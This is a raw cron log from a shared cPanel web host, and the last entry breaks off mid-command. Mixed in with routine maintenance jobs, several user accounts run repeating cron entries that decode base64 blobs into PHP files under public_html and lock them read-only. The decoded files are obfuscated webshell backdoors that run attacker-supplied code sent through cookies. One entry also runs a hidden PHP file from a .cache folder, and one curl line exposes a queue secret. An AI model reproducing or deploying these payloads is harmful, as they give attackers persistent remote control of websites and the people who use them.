Mar  2 14:24:01 medusa CROND[27841]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:24:01 medusa CROND[27847]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:24:01 medusa CROND[27848]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:24:01 medusa CROND[27849]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 14:24:01 medusa CROND[27850]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:24:01 medusa CROND[27851]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:24:01 medusa CROND[27852]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 14:24:01 medusa CROND[27859]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:25:01 medusa CROND[9687]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 14:25:01 medusa CROND[9689]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 14:25:01 medusa CROND[9751]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 14:25:01 medusa CROND[10069]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 14:25:01 medusa CROND[10073]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 14:25:01 medusa CROND[10074]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:25:01 medusa CROND[10076]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 14:25:01 medusa CROND[10075]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:25:01 medusa CROND[10082]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  2 14:25:01 medusa CROND[10084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 14:25:01 medusa CROND[10085]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 14:25:01 medusa CROND[10088]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 14:25:01 medusa CROND[10096]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 14:25:01 medusa CROND[10094]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 14:25:01 medusa CROND[10095]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 14:25:01 medusa CROND[10101]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:25:01 medusa CROND[10102]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 14:25:01 medusa CROND[10104]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:25:01 medusa CROND[10123]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:25:01 medusa CROND[10120]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:25:01 medusa CROND[10125]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:25:01 medusa CROND[10124]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 14:25:01 medusa CROND[10126]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 14:26:02 medusa CROND[29860]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 14:26:02 medusa CROND[29862]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 14:26:02 medusa CROND[29863]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 14:26:02 medusa CROND[29864]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 14:26:02 medusa CROND[29865]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 14:26:02 medusa CROND[29868]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 